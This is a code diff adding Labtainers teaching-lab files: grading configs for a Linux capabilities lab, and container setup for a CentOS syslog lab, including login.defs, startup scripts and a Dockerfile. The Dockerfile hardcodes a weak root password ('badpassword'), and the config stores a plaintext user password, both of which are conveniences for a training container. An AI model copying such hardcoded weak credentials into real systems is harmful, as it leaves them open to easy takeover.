Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/read_first.txt new file mode 100644 index 000000000..6a321d425 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/capabilities.pdf +A lab report template is at + file://LAB_DOCS/capabilities-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/goals.config new file mode 100644 index 000000000..91d5f6d8c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/goals.config @@ -0,0 +1,11 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: A subset of the lab goals. +_ping_suid = matchany : string_equal : ping_suid : answer=-rwxr-xr-x +_ping_cap = matchany : string_start : ping_cap : answer=cap_net_raw +#DOC: Was setuid disabled on ping, and the net_raw capability set? +ping_use_cap = boolean : (_ping_suid and _ping_cap) +_passwd_suid = matchany : string_equal : passwd_suid : answer=-rwxr-xr-x +#DOC: Able to change password without suid on passwd? +passwd_changed = boolean : (_passwd_suid and _passwd_changed) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/results.config new file mode 100644 index 000000000..0b326abdb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/instr_config/results.config @@ -0,0 +1,9 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +ping_suid = precheck.stdout : TOKEN : 1 : HAVESTRING : /bin/ping +ping_cap = precheck.stdout : TOKEN : 3 : STARTSWITH : /bin/ping +passwd_suid = precheck.stdout : TOKEN : 1 : HAVESTRING : /usr/bin/passwd +_passwd_changed = passwd.stdout : CONTAINS : passwd: password updated successfully +tcpdump_cap = precheck.stdout : TOKEN : 3 : STARTSWITH : /usr/bin/tcpdump +mypriv_cap = precheck.stdout : TOKEN : 3 : STARTSWITH : mypriv diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_bin/fixlocal.sh new file mode 100755 index 000000000..d5f792430 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_bin/fixlocal.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +# avoid error message in syslog +echo $1 | sudo -S chown syslog:adm /dev/xconsole diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_bin/student_startup.sh new file mode 100644 index 000000000..4ec41f921 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_bin/student_startup.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# If root, loop forever in login. +# +id | grep root >>/dev/null +result=$? +if [[ $result -eq 0 ]]; then + #echo "is root" + while [ 1 ]; do + trap login SIGINT + /sbin/login + done +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/sbin/faux_init new file mode 100755 index 000000000..5832a1f97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +/usr/sbin/rsyslog -n & +service rc.local start + +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/sbin/login b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/sbin/login new file mode 100755 index 000000000..f6bee58da Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/_system/sbin/login differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/home_tar/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/home_tar/home.tar new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/sys_tar/sys.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/centos-log/sys_tar/sys.tar new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/about.txt new file mode 100644 index 000000000..0607d0dba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/about.txt @@ -0,0 +1 @@ +System log basic usage and configuration on a CentOS system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/centos-log-home_tar.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/centos-log-home_tar.list new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/start.config new file mode 100644 index 000000000..a4a6b8036 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/config/start.config @@ -0,0 +1,59 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER centos-log + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED centos-log_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER centos-log + # user name of user who interacts with the container. + USER Joe + PASSWORD password4joe + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + SCRIPT NONE + X11 YES + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/dockerfiles/Dockerfile.centos-log.centos-log.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/dockerfiles/Dockerfile.centos-log.centos-log.student new file mode 100644 index 000000000..b600b9940 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/dockerfiles/Dockerfile.centos-log.centos-log.student @@ -0,0 +1,65 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh + +# +# Install the system files found in the _system directory +# +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN echo "root:badpassword" | chpasswd +RUN usermod $user_name -a -G wheel +#RUN rm -fr /tmp/.X11-unix +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] +#ENTRYPOINT bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/Makefile new file mode 100644 index 000000000..b6308e1ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/Makefile @@ -0,0 +1,6 @@ +centos-log.pdf: centos-log.docx + soffice --convert-to pdf centos-log.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log-Template.docx new file mode 100755 index 000000000..f801b91bd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.docx new file mode 100755 index 000000000..845e97059 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/centos-log.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/read_first.txt new file mode 100644 index 000000000..bac5e5d03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/centos-log.pdf +The report template at + file://LAB_DOCS/centos-log-Template.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/goals.config new file mode 100644 index 000000000..1b4d7ebb6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/goals.config @@ -0,0 +1,24 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#GROUP: Counts of quantity of commands issued. +logger_count = value : logger +last_count = value : last +service_count = value : service + +# Timestamped set of debug entries in /var/log/debug +# with time ranges delimited by rsyslog starting +#DOC: Altered rsyslog.conf, resulting in debug messages going to +# a custom log file (though it may not be limited to debug messages) +debug_log = time_during : some_debug : syslog_slices + +# Timestamp ranges delimited by rsyslog starting, in which no +# service log entries appear in the /var/log/debug +_debug_not_mixed = time_not_during : service_in_debug : syslog_slices + +#DOC: Altered rsyslog.conf, resulting in mark written to system log +log_mark = is_true : mark +#DOC: Altered rsyslog.conf, resulting in only debug messages going to +# a custom log file +exact_debug = boolean : (_debug_not_mixed and debug_log) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/results.config new file mode 100644 index 000000000..f6bb01d41 --- /dev/null +++ 